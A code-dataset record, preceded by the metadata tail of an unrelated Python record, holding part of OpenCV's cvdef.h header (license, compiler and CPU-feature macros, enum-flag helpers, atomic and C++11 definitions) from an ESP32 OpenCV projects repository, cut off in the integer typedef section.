time.sleep(0.1) # Don't block the GIL | 6,641 | api_implementation | py | en | python | code | {"qsc_code_num_words": 760, "qsc_code_num_chars": 6641.0, "qsc_code_mean_word_length": 5.82105263, "qsc_code_frac_words_unique": 0.19736842, "qsc_code_frac_chars_top_2grams": 0.03254973, "qsc_code_frac_chars_top_3grams": 0.03526221, "qsc_code_frac_chars_top_4grams": 0.01017179, "qsc_code_frac_chars_dupe_5grams": 0.23824593, "qsc_code_frac_chars_dupe_6grams": 0.08431284, "qsc_code_frac_chars_dupe_7grams": 0.07255877, "qsc_code_frac_chars_dupe_8grams": 0.03526221, "qsc_code_frac_chars_dupe_9grams": 0.03526221, "qsc_code_frac_chars_dupe_10grams": 0.03526221, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00342401, "qsc_code_frac_chars_whitespace": 0.20840235, "qsc_code_size_file_byte": 6641.0, "qsc_code_num_lines": 173.0, "qsc_code_num_chars_line_max": 185.0, "qsc_code_num_chars_line_mean": 38.38728324, "qsc_code_frac_chars_alphabet": 0.8381206, "qsc_code_frac_chars_comments": 0.04893841, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.12403101, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00254899, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.26356589, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.10852713, "qsc_codepython_frac_lines_simplefunc": 0.06976744186046512, "qsc_codepython_score_lines_no_logic": 0.4496124, "qsc_codepython_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 1, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/cvdef.h | /*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.
// Copyright (C) 2009, Willow Garage Inc., all rights reserved.
// Copyright (C) 2013, OpenCV Foundation, all rights reserved.
// Copyright (C) 2015, Itseez Inc., all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#ifndef OPENCV_CORE_CVDEF_H
#define OPENCV_CORE_CVDEF_H
//! @addtogroup core_utils
//! @{
#ifdef OPENCV_INCLUDE_PORT_FILE // User-provided header file with custom platform configuration
#include OPENCV_INCLUDE_PORT_FILE
#endif
#if !defined CV_DOXYGEN && !defined CV_IGNORE_DEBUG_BUILD_GUARD
#if (defined(_MSC_VER) && (defined(DEBUG) || defined(_DEBUG))) || \
(defined(_GLIBCXX_DEBUG) || defined(_GLIBCXX_DEBUG_PEDANTIC))
// Guard to prevent using of binary incompatible binaries / runtimes
// https://github.com/opencv/opencv/pull/9161
#define CV__DEBUG_NS_BEGIN namespace debug_build_guard {
#define CV__DEBUG_NS_END }
namespace cv { namespace debug_build_guard { } using namespace debug_build_guard; }
#endif
#endif
#ifndef CV__DEBUG_NS_BEGIN
#define CV__DEBUG_NS_BEGIN
#define CV__DEBUG_NS_END
#endif
#ifdef __OPENCV_BUILD
#include "cvconfig.h"
#endif
#ifndef __CV_EXPAND
#define __CV_EXPAND(x) x
#endif
#ifndef __CV_CAT
#define __CV_CAT__(x, y) x ## y
#define __CV_CAT_(x, y) __CV_CAT__(x, y)
#define __CV_CAT(x, y) __CV_CAT_(x, y)
#endif
#define __CV_VA_NUM_ARGS_HELPER(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, N, ...) N
#define __CV_VA_NUM_ARGS(...) __CV_EXPAND(__CV_VA_NUM_ARGS_HELPER(__VA_ARGS__, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0))
#if defined __GNUC__
#define CV_Func __func__
#elif defined _MSC_VER
#define CV_Func __FUNCTION__
#else
#define CV_Func ""
#endif
//! @cond IGNORED
//////////////// static assert /////////////////
#define CVAUX_CONCAT_EXP(a, b) a##b
#define CVAUX_CONCAT(a, b) CVAUX_CONCAT_EXP(a,b)
#if defined(__clang__)
# ifndef __has_extension
# define __has_extension __has_feature /* compatibility, for older versions of clang */
# endif
# if __has_extension(cxx_static_assert)
# define CV_StaticAssert(condition, reason) static_assert((condition), reason " " #condition)
# elif __has_extension(c_static_assert)
# define CV_StaticAssert(condition, reason) _Static_assert((condition), reason " " #condition)
# endif
#elif defined(__GNUC__)
# if (defined(__GXX_EXPERIMENTAL_CXX0X__) || __cplusplus >= 201103L)
# define CV_StaticAssert(condition, reason) static_assert((condition), reason " " #condition)
# endif
#elif defined(_MSC_VER)
# if _MSC_VER >= 1600 /* MSVC 10 */
# define CV_StaticAssert(condition, reason) static_assert((condition), reason " " #condition)
# endif
#endif
#ifndef CV_StaticAssert
# if !defined(__clang__) && defined(__GNUC__) && (__GNUC__*100 + __GNUC_MINOR__ > 302)
# define CV_StaticAssert(condition, reason) ({ extern int __attribute__((error("CV_StaticAssert: " reason " " #condition))) CV_StaticAssert(); ((condition) ? 0 : CV_StaticAssert()); })
# else
namespace cv {
template <bool x> struct CV_StaticAssert_failed;
template <> struct CV_StaticAssert_failed<true> { enum { val = 1 }; };
template<int x> struct CV_StaticAssert_test {};
}
# define CV_StaticAssert(condition, reason)\
typedef cv::CV_StaticAssert_test< sizeof(cv::CV_StaticAssert_failed< static_cast<bool>(condition) >) > CVAUX_CONCAT(CV_StaticAssert_failed_at_, __LINE__)
# endif
#endif
// Suppress warning "-Wdeprecated-declarations" / C4996
#if defined(_MSC_VER)
#define CV_DO_PRAGMA(x) __pragma(x)
#elif defined(__GNUC__)
#define CV_DO_PRAGMA(x) _Pragma (#x)
#else
#define CV_DO_PRAGMA(x)
#endif
#ifdef _MSC_VER
#define CV_SUPPRESS_DEPRECATED_START \
CV_DO_PRAGMA(warning(push)) \
CV_DO_PRAGMA(warning(disable: 4996))
#define CV_SUPPRESS_DEPRECATED_END CV_DO_PRAGMA(warning(pop))
#elif defined (__clang__) || ((__GNUC__) && (__GNUC__*100 + __GNUC_MINOR__ > 405))
#define CV_SUPPRESS_DEPRECATED_START \
CV_DO_PRAGMA(GCC diagnostic push) \
CV_DO_PRAGMA(GCC diagnostic ignored "-Wdeprecated-declarations")
#define CV_SUPPRESS_DEPRECATED_END CV_DO_PRAGMA(GCC diagnostic pop)
#else
#define CV_SUPPRESS_DEPRECATED_START
#define CV_SUPPRESS_DEPRECATED_END
#endif
#define CV_UNUSED(name) (void)name
//! @endcond
// undef problematic defines sometimes defined by system headers (windows.h in particular)
#undef small
#undef min
#undef max
#undef abs
#undef Complex
#if defined __cplusplus
#include <limits>
#else
#include <limits.h>
#endif
#include "opencv2/core/hal/interface.h"
#if defined __ICL
# define CV_ICC __ICL
#elif defined __ICC
# define CV_ICC __ICC
#elif defined __ECL
# define CV_ICC __ECL
#elif defined __ECC
# define CV_ICC __ECC
#elif defined __INTEL_COMPILER
# define CV_ICC __INTEL_COMPILER
#endif
#ifndef CV_INLINE
# if defined __cplusplus
# define CV_INLINE static inline
# elif defined _MSC_VER
# define CV_INLINE __inline
# else
# define CV_INLINE static
# endif
#endif
#ifndef CV_ALWAYS_INLINE
#if defined(__GNUC__) && (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 1))
#define CV_ALWAYS_INLINE inline __attribute__((always_inline))
#elif defined(_MSC_VER)
#define CV_ALWAYS_INLINE __forceinline
#else
#define CV_ALWAYS_INLINE inline
#endif
#endif
#if defined CV_DISABLE_OPTIMIZATION || (defined CV_ICC && !defined CV_ENABLE_UNROLLED)
# define CV_ENABLE_UNROLLED 0
#else
# define CV_ENABLE_UNROLLED 1
#endif
#ifdef __GNUC__
# define CV_DECL_ALIGNED(x) __attribute__ ((aligned (x)))
#elif defined _MSC_VER
# define CV_DECL_ALIGNED(x) __declspec(align(x))
#else
# define CV_DECL_ALIGNED(x)
#endif
/* CPU features and intrinsics support */
#define CV_CPU_NONE 0
#define CV_CPU_MMX 1
#define CV_CPU_SSE 2
#define CV_CPU_SSE2 3
#define CV_CPU_SSE3 4
#define CV_CPU_SSSE3 5
#define CV_CPU_SSE4_1 6
#define CV_CPU_SSE4_2 7
#define CV_CPU_POPCNT 8
#define CV_CPU_FP16 9
#define CV_CPU_AVX 10
#define CV_CPU_AVX2 11
#define CV_CPU_FMA3 12
#define CV_CPU_AVX_512F 13
#define CV_CPU_AVX_512BW 14
#define CV_CPU_AVX_512CD 15
#define CV_CPU_AVX_512DQ 16
#define CV_CPU_AVX_512ER 17
#define CV_CPU_AVX_512IFMA512 18 // deprecated
#define CV_CPU_AVX_512IFMA 18
#define CV_CPU_AVX_512PF 19
#define CV_CPU_AVX_512VBMI 20
#define CV_CPU_AVX_512VL 21
#define CV_CPU_AVX_512VBMI2 22
#define CV_CPU_AVX_512VNNI 23
#define CV_CPU_AVX_512BITALG 24
#define CV_CPU_AVX_512VPOPCNTDQ 25
#define CV_CPU_AVX_5124VNNIW 26
#define CV_CPU_AVX_5124FMAPS 27
#define CV_CPU_NEON 100
#define CV_CPU_MSA 150
#define CV_CPU_VSX 200
#define CV_CPU_VSX3 201
// CPU features groups
#define CV_CPU_AVX512_SKX 256
#define CV_CPU_AVX512_COMMON 257
#define CV_CPU_AVX512_KNL 258
#define CV_CPU_AVX512_KNM 259
#define CV_CPU_AVX512_CNL 260
#define CV_CPU_AVX512_CLX 261
#define CV_CPU_AVX512_ICL 262
// when adding to this list remember to update the following enum
#define CV_HARDWARE_MAX_FEATURE 512
/** @brief Available CPU features.
*/
enum CpuFeatures {
CPU_MMX = 1,
CPU_SSE = 2,
CPU_SSE2 = 3,
CPU_SSE3 = 4,
CPU_SSSE3 = 5,
CPU_SSE4_1 = 6,
CPU_SSE4_2 = 7,
CPU_POPCNT = 8,
CPU_FP16 = 9,
CPU_AVX = 10,
CPU_AVX2 = 11,
CPU_FMA3 = 12,
CPU_AVX_512F = 13,
CPU_AVX_512BW = 14,
CPU_AVX_512CD = 15,
CPU_AVX_512DQ = 16,
CPU_AVX_512ER = 17,
CPU_AVX_512IFMA512 = 18, // deprecated
CPU_AVX_512IFMA = 18,
CPU_AVX_512PF = 19,
CPU_AVX_512VBMI = 20,
CPU_AVX_512VL = 21,
CPU_AVX_512VBMI2 = 22,
CPU_AVX_512VNNI = 23,
CPU_AVX_512BITALG = 24,
CPU_AVX_512VPOPCNTDQ= 25,
CPU_AVX_5124VNNIW = 26,
CPU_AVX_5124FMAPS = 27,
CPU_NEON = 100,
CPU_MSA = 150,
CPU_VSX = 200,
CPU_VSX3 = 201,
CPU_AVX512_SKX = 256, //!< Skylake-X with AVX-512F/CD/BW/DQ/VL
CPU_AVX512_COMMON = 257, //!< Common instructions AVX-512F/CD for all CPUs that support AVX-512
CPU_AVX512_KNL = 258, //!< Knights Landing with AVX-512F/CD/ER/PF
CPU_AVX512_KNM = 259, //!< Knights Mill with AVX-512F/CD/ER/PF/4FMAPS/4VNNIW/VPOPCNTDQ
CPU_AVX512_CNL = 260, //!< Cannon Lake with AVX-512F/CD/BW/DQ/VL/IFMA/VBMI
CPU_AVX512_CLX = 261, //!< Cascade Lake with AVX-512F/CD/BW/DQ/VL/VNNI
CPU_AVX512_ICL = 262, //!< Ice Lake with AVX-512F/CD/BW/DQ/VL/IFMA/VBMI/VNNI/VBMI2/BITALG/VPOPCNTDQ
CPU_MAX_FEATURE = 512 // see CV_HARDWARE_MAX_FEATURE
};
#include "cv_cpu_dispatch.h"
#if !defined(CV_STRONG_ALIGNMENT) && defined(__arm__) && !(defined(__aarch64__) || defined(_M_ARM64))
// int*, int64* should be propertly aligned pointers on ARMv7
#define CV_STRONG_ALIGNMENT 1
#endif
#if !defined(CV_STRONG_ALIGNMENT)
#define CV_STRONG_ALIGNMENT 0
#endif
/* fundamental constants */
#define CV_PI 3.1415926535897932384626433832795
#define CV_2PI 6.283185307179586476925286766559
#define CV_LOG2 0.69314718055994530941723212145818
#if defined __ARM_FP16_FORMAT_IEEE \
&& !defined __CUDACC__
# define CV_FP16_TYPE 1
#else
# define CV_FP16_TYPE 0
#endif
typedef union Cv16suf
{
short i;
ushort u;
#if CV_FP16_TYPE
__fp16 h;
#endif
}
Cv16suf;
typedef union Cv32suf
{
int i;
unsigned u;
float f;
}
Cv32suf;
typedef union Cv64suf
{
int64 i;
uint64 u;
double f;
}
Cv64suf;
#define OPENCV_ABI_COMPATIBILITY 400
#ifdef __OPENCV_BUILD
# define DISABLE_OPENCV_3_COMPATIBILITY
# define OPENCV_DISABLE_DEPRECATED_COMPATIBILITY
#endif
#ifndef CV_EXPORTS
# if (defined _WIN32 || defined WINCE || defined __CYGWIN__) && defined(CVAPI_EXPORTS)
# define CV_EXPORTS __declspec(dllexport)
# elif defined __GNUC__ && __GNUC__ >= 4 && (defined(CVAPI_EXPORTS) || defined(__APPLE__))
# define CV_EXPORTS __attribute__ ((visibility ("default")))
# endif
#endif
#ifndef CV_EXPORTS
# define CV_EXPORTS
#endif
#ifdef _MSC_VER
# define CV_EXPORTS_TEMPLATE
#else
# define CV_EXPORTS_TEMPLATE CV_EXPORTS
#endif
#ifndef CV_DEPRECATED
# if defined(__GNUC__)
# define CV_DEPRECATED __attribute__ ((deprecated))
# elif defined(_MSC_VER)
# define CV_DEPRECATED __declspec(deprecated)
# else
# define CV_DEPRECATED
# endif
#endif
#ifndef CV_DEPRECATED_EXTERNAL
# if defined(__OPENCV_BUILD)
# define CV_DEPRECATED_EXTERNAL /* nothing */
# else
# define CV_DEPRECATED_EXTERNAL CV_DEPRECATED
# endif
#endif
#ifndef CV_EXTERN_C
# ifdef __cplusplus
# define CV_EXTERN_C extern "C"
# else
# define CV_EXTERN_C
# endif
#endif
/* special informative macros for wrapper generators */
#define CV_EXPORTS_W CV_EXPORTS
#define CV_EXPORTS_W_SIMPLE CV_EXPORTS
#define CV_EXPORTS_AS(synonym) CV_EXPORTS
#define CV_EXPORTS_W_MAP CV_EXPORTS
#define CV_IN_OUT
#define CV_OUT
#define CV_PROP
#define CV_PROP_RW
#define CV_WRAP
#define CV_WRAP_AS(synonym)
#define CV_WRAP_MAPPABLE(mappable)
#define CV_WRAP_PHANTOM(phantom_header)
#define CV_WRAP_DEFAULT(val)
/****************************************************************************************\
* Matrix type (Mat) *
\****************************************************************************************/
#define CV_MAT_CN_MASK ((CV_CN_MAX - 1) << CV_CN_SHIFT)
#define CV_MAT_CN(flags) ((((flags) & CV_MAT_CN_MASK) >> CV_CN_SHIFT) + 1)
#define CV_MAT_TYPE_MASK (CV_DEPTH_MAX*CV_CN_MAX - 1)
#define CV_MAT_TYPE(flags) ((flags) & CV_MAT_TYPE_MASK)
#define CV_MAT_CONT_FLAG_SHIFT 14
#define CV_MAT_CONT_FLAG (1 << CV_MAT_CONT_FLAG_SHIFT)
#define CV_IS_MAT_CONT(flags) ((flags) & CV_MAT_CONT_FLAG)
#define CV_IS_CONT_MAT CV_IS_MAT_CONT
#define CV_SUBMAT_FLAG_SHIFT 15
#define CV_SUBMAT_FLAG (1 << CV_SUBMAT_FLAG_SHIFT)
#define CV_IS_SUBMAT(flags) ((flags) & CV_MAT_SUBMAT_FLAG)
/** Size of each channel item,
0x28442211 = 0010 1000 0100 0100 0010 0010 0001 0001 ~ array of sizeof(arr_type_elem) */
#define CV_ELEM_SIZE1(type) ((0x28442211 >> CV_MAT_DEPTH(type)*4) & 15)
#define CV_ELEM_SIZE(type) (CV_MAT_CN(type)*CV_ELEM_SIZE1(type))
#ifndef MIN
# define MIN(a,b) ((a) > (b) ? (b) : (a))
#endif
#ifndef MAX
# define MAX(a,b) ((a) < (b) ? (b) : (a))
#endif
///////////////////////////////////////// Enum operators ///////////////////////////////////////
/**
Provides compatibility operators for both classical and C++11 enum classes,
as well as exposing the C++11 enum class members for backwards compatibility
@code
// Provides operators required for flag enums
CV_ENUM_FLAGS(AccessFlag)
// Exposes the listed members of the enum class AccessFlag to the current namespace
CV_ENUM_CLASS_EXPOSE(AccessFlag, ACCESS_READ [, ACCESS_WRITE [, ...] ]);
@endcode
*/
#define __CV_ENUM_CLASS_EXPOSE_1(EnumType, MEMBER_CONST) \
static const EnumType MEMBER_CONST = EnumType::MEMBER_CONST; \
#define __CV_ENUM_CLASS_EXPOSE_2(EnumType, MEMBER_CONST, ...) \
__CV_ENUM_CLASS_EXPOSE_1(EnumType, MEMBER_CONST); \
__CV_EXPAND(__CV_ENUM_CLASS_EXPOSE_1(EnumType, __VA_ARGS__)); \
#define __CV_ENUM_CLASS_EXPOSE_3(EnumType, MEMBER_CONST, ...) \
__CV_ENUM_CLASS_EXPOSE_1(EnumType, MEMBER_CONST); \
__CV_EXPAND(__CV_ENUM_CLASS_EXPOSE_2(EnumType, __VA_ARGS__)); \
#define __CV_ENUM_CLASS_EXPOSE_4(EnumType, MEMBER_CONST, ...) \
__CV_ENUM_CLASS_EXPOSE_1(EnumType, MEMBER_CONST); \
__CV_EXPAND(__CV_ENUM_CLASS_EXPOSE_3(EnumType, __VA_ARGS__)); \
#define __CV_ENUM_CLASS_EXPOSE_5(EnumType, MEMBER_CONST, ...) \
__CV_ENUM_CLASS_EXPOSE_1(EnumType, MEMBER_CONST); \
__CV_EXPAND(__CV_ENUM_CLASS_EXPOSE_4(EnumType, __VA_ARGS__)); \
#define __CV_ENUM_CLASS_EXPOSE_6(EnumType, MEMBER_CONST, ...) \
__CV_ENUM_CLASS_EXPOSE_1(EnumType, MEMBER_CONST); \
__CV_EXPAND(__CV_ENUM_CLASS_EXPOSE_5(EnumType, __VA_ARGS__)); \
#define __CV_ENUM_CLASS_EXPOSE_7(EnumType, MEMBER_CONST, ...) \
__CV_ENUM_CLASS_EXPOSE_1(EnumType, MEMBER_CONST); \
__CV_EXPAND(__CV_ENUM_CLASS_EXPOSE_6(EnumType, __VA_ARGS__)); \
#define __CV_ENUM_CLASS_EXPOSE_8(EnumType, MEMBER_CONST, ...) \
__CV_ENUM_CLASS_EXPOSE_1(EnumType, MEMBER_CONST); \
__CV_EXPAND(__CV_ENUM_CLASS_EXPOSE_7(EnumType, __VA_ARGS__)); \
#define __CV_ENUM_CLASS_EXPOSE_9(EnumType, MEMBER_CONST, ...) \
__CV_ENUM_CLASS_EXPOSE_1(EnumType, MEMBER_CONST); \
__CV_EXPAND(__CV_ENUM_CLASS_EXPOSE_8(EnumType, __VA_ARGS__)); \
#define __CV_ENUM_FLAGS_LOGICAL_NOT(EnumType) \
static inline bool operator!(const EnumType& val) \
{ \
typedef std::underlying_type<EnumType>::type UnderlyingType; \
return !static_cast<UnderlyingType>(val); \
} \
#define __CV_ENUM_FLAGS_LOGICAL_NOT_EQ(Arg1Type, Arg2Type) \
static inline bool operator!=(const Arg1Type& a, const Arg2Type& b) \
{ \
return static_cast<int>(a) != static_cast<int>(b); \
} \
#define __CV_ENUM_FLAGS_LOGICAL_EQ(Arg1Type, Arg2Type) \
static inline bool operator==(const Arg1Type& a, const Arg2Type& b) \
{ \
return static_cast<int>(a) == static_cast<int>(b); \
} \
#define __CV_ENUM_FLAGS_BITWISE_NOT(EnumType) \
static inline EnumType operator~(const EnumType& val) \
{ \
typedef std::underlying_type<EnumType>::type UnderlyingType; \
return static_cast<EnumType>(~static_cast<UnderlyingType>(val)); \
} \
#define __CV_ENUM_FLAGS_BITWISE_OR(EnumType, Arg1Type, Arg2Type) \
static inline EnumType operator|(const Arg1Type& a, const Arg2Type& b) \
{ \
typedef std::underlying_type<EnumType>::type UnderlyingType; \
return static_cast<EnumType>(static_cast<UnderlyingType>(a) | static_cast<UnderlyingType>(b)); \
} \
#define __CV_ENUM_FLAGS_BITWISE_AND(EnumType, Arg1Type, Arg2Type) \
static inline EnumType operator&(const Arg1Type& a, const Arg2Type& b) \
{ \
typedef std::underlying_type<EnumType>::type UnderlyingType; \
return static_cast<EnumType>(static_cast<UnderlyingType>(a) & static_cast<UnderlyingType>(b)); \
} \
#define __CV_ENUM_FLAGS_BITWISE_XOR(EnumType, Arg1Type, Arg2Type) \
static inline EnumType operator^(const Arg1Type& a, const Arg2Type& b) \
{ \
typedef std::underlying_type<EnumType>::type UnderlyingType; \
return static_cast<EnumType>(static_cast<UnderlyingType>(a) ^ static_cast<UnderlyingType>(b)); \
} \
#define __CV_ENUM_FLAGS_BITWISE_OR_EQ(EnumType, Arg1Type) \
static inline EnumType& operator|=(EnumType& _this, const Arg1Type& val) \
{ \
_this = static_cast<EnumType>(static_cast<int>(_this) | static_cast<int>(val)); \
return _this; \
} \
#define __CV_ENUM_FLAGS_BITWISE_AND_EQ(EnumType, Arg1Type) \
static inline EnumType& operator&=(EnumType& _this, const Arg1Type& val) \
{ \
_this = static_cast<EnumType>(static_cast<int>(_this) & static_cast<int>(val)); \
return _this; \
} \
#define __CV_ENUM_FLAGS_BITWISE_XOR_EQ(EnumType, Arg1Type) \
static inline EnumType& operator^=(EnumType& _this, const Arg1Type& val) \
{ \
_this = static_cast<EnumType>(static_cast<int>(_this) ^ static_cast<int>(val)); \
return _this; \
} \
#define CV_ENUM_CLASS_EXPOSE(EnumType, ...) \
__CV_EXPAND(__CV_CAT(__CV_ENUM_CLASS_EXPOSE_, __CV_VA_NUM_ARGS(__VA_ARGS__))(EnumType, __VA_ARGS__)); \
#define CV_ENUM_FLAGS(EnumType) \
__CV_ENUM_FLAGS_LOGICAL_NOT (EnumType) \
__CV_ENUM_FLAGS_LOGICAL_EQ (EnumType, int) \
__CV_ENUM_FLAGS_LOGICAL_NOT_EQ (EnumType, int) \
\
__CV_ENUM_FLAGS_BITWISE_NOT (EnumType) \
__CV_ENUM_FLAGS_BITWISE_OR (EnumType, EnumType, EnumType) \
__CV_ENUM_FLAGS_BITWISE_AND (EnumType, EnumType, EnumType) \
__CV_ENUM_FLAGS_BITWISE_XOR (EnumType, EnumType, EnumType) \
\
__CV_ENUM_FLAGS_BITWISE_OR_EQ (EnumType, EnumType) \
__CV_ENUM_FLAGS_BITWISE_AND_EQ (EnumType, EnumType) \
__CV_ENUM_FLAGS_BITWISE_XOR_EQ (EnumType, EnumType) \
/****************************************************************************************\
* static analysys *
\****************************************************************************************/
// In practice, some macro are not processed correctly (noreturn is not detected).
// We need to use simplified definition for them.
#ifndef CV_STATIC_ANALYSIS
# if defined(__KLOCWORK__) || defined(__clang_analyzer__) || defined(__COVERITY__)
# define CV_STATIC_ANALYSIS 1
# endif
#else
# if defined(CV_STATIC_ANALYSIS) && !(__CV_CAT(1, CV_STATIC_ANALYSIS) == 1) // defined and not empty
# if 0 == CV_STATIC_ANALYSIS
# undef CV_STATIC_ANALYSIS
# endif
# endif
#endif
/****************************************************************************************\
* Thread sanitizer *
\****************************************************************************************/
#ifndef CV_THREAD_SANITIZER
# if defined(__has_feature)
# if __has_feature(thread_sanitizer)
# define CV_THREAD_SANITIZER
# endif
# endif
#endif
/****************************************************************************************\
* exchange-add operation for atomic operations on reference counters *
\****************************************************************************************/
#ifdef CV_XADD
// allow to use user-defined macro
#elif defined __GNUC__ || defined __clang__
# if defined __clang__ && __clang_major__ >= 3 && !defined __ANDROID__ && !defined __EMSCRIPTEN__ && !defined(__CUDACC__) && !defined __INTEL_COMPILER
# ifdef __ATOMIC_ACQ_REL
# define CV_XADD(addr, delta) __c11_atomic_fetch_add((_Atomic(int)*)(addr), delta, __ATOMIC_ACQ_REL)
# else
# define CV_XADD(addr, delta) __atomic_fetch_add((_Atomic(int)*)(addr), delta, 4)
# endif
# else
# if defined __ATOMIC_ACQ_REL && !defined __clang__
// version for gcc >= 4.7
# define CV_XADD(addr, delta) (int)__atomic_fetch_add((unsigned*)(addr), (unsigned)(delta), __ATOMIC_ACQ_REL)
# else
# define CV_XADD(addr, delta) (int)__sync_fetch_and_add((unsigned*)(addr), (unsigned)(delta))
# endif
# endif
#elif defined _MSC_VER && !defined RC_INVOKED
# include <intrin.h>
# define CV_XADD(addr, delta) (int)_InterlockedExchangeAdd((long volatile*)addr, delta)
#else
#ifdef OPENCV_FORCE_UNSAFE_XADD
CV_INLINE CV_XADD(int* addr, int delta) { int tmp = *addr; *addr += delta; return tmp; }
#else
#error "OpenCV: can't define safe CV_XADD macro for current platform (unsupported). Define CV_XADD macro through custom port header (see OPENCV_INCLUDE_PORT_FILE)"
#endif
#endif
/****************************************************************************************\
* CV_NORETURN attribute *
\****************************************************************************************/
#ifndef CV_NORETURN
# if defined(__GNUC__)
# define CV_NORETURN __attribute__((__noreturn__))
# elif defined(_MSC_VER) && (_MSC_VER >= 1300)
# define CV_NORETURN __declspec(noreturn)
# else
# define CV_NORETURN /* nothing by default */
# endif
#endif
/****************************************************************************************\
* CV_NODISCARD attribute *
* encourages the compiler to issue a warning if the return value is discarded (C++17) *
\****************************************************************************************/
#ifndef CV_NODISCARD
# if defined(__GNUC__)
# define CV_NODISCARD __attribute__((__warn_unused_result__)) // at least available with GCC 3.4
# elif defined(__clang__) && defined(__has_attribute)
# if __has_attribute(__warn_unused_result__)
# define CV_NODISCARD __attribute__((__warn_unused_result__))
# endif
# endif
#endif
#ifndef CV_NODISCARD
# define CV_NODISCARD /* nothing by default */
#endif
/****************************************************************************************\
* C++ 11 *
\****************************************************************************************/
#ifndef CV_CXX11
# if __cplusplus >= 201103L || (defined(_MSC_VER) && _MSC_VER >= 1800)
# define CV_CXX11 1
# endif
#else
# if CV_CXX11 == 0
# undef CV_CXX11
# endif
#endif
#ifndef CV_CXX11
# error "OpenCV 4.x+ requires enabled C++11 support"
#endif
#define CV_CXX_MOVE_SEMANTICS 1
#define CV_CXX_MOVE(x) std::move(x)
#define CV_CXX_STD_ARRAY 1
#include <array>
#ifndef CV_OVERRIDE
# define CV_OVERRIDE override
#endif
#ifndef CV_FINAL
# define CV_FINAL final
#endif
#ifndef CV_NOEXCEPT
# if __cplusplus >= 201103L || (defined(_MSC_VER) && _MSC_VER >= 1900/*MSVS 2015*/)
# define CV_NOEXCEPT noexcept
# endif
#endif
#ifndef CV_NOEXCEPT
# define CV_NOEXCEPT
#endif
#ifndef CV_CONSTEXPR
# if __cplusplus >= 201103L || (defined(_MSC_VER) && _MSC_VER >= 1900/*MSVS 2015*/)
# define CV_CONSTEXPR constexpr
# endif
#endif
#ifndef CV_CONSTEXPR
# define CV_CONSTEXPR
#endif
// Integer types portatibility
#ifdef OPENCV_STDINT_HEADER
#include OPENCV_STDINT_HEADER
#elif defined(__cplusplus)
#if defined(_MSC_VER) && _MSC_VER < 1600 /* MSVS 2010 */
namespace cv {
typedef signed char int8_t;
typedef unsigned char uint8_t;
typedef signed short int16_t;
typedef unsigned short uint16_t;
typedef signed int int32_t;
typedef unsigned int uint32_t;
typedef signed __int64 int64_t;
typedef unsigned __int64 uint64_t;
}
#elif defined(_MSC_VER) || __cplusplus >= 201103L
#include <cstdint>
namespace cv {
using std::int8_t;
using std::uint8_t;
using std::int16_t;
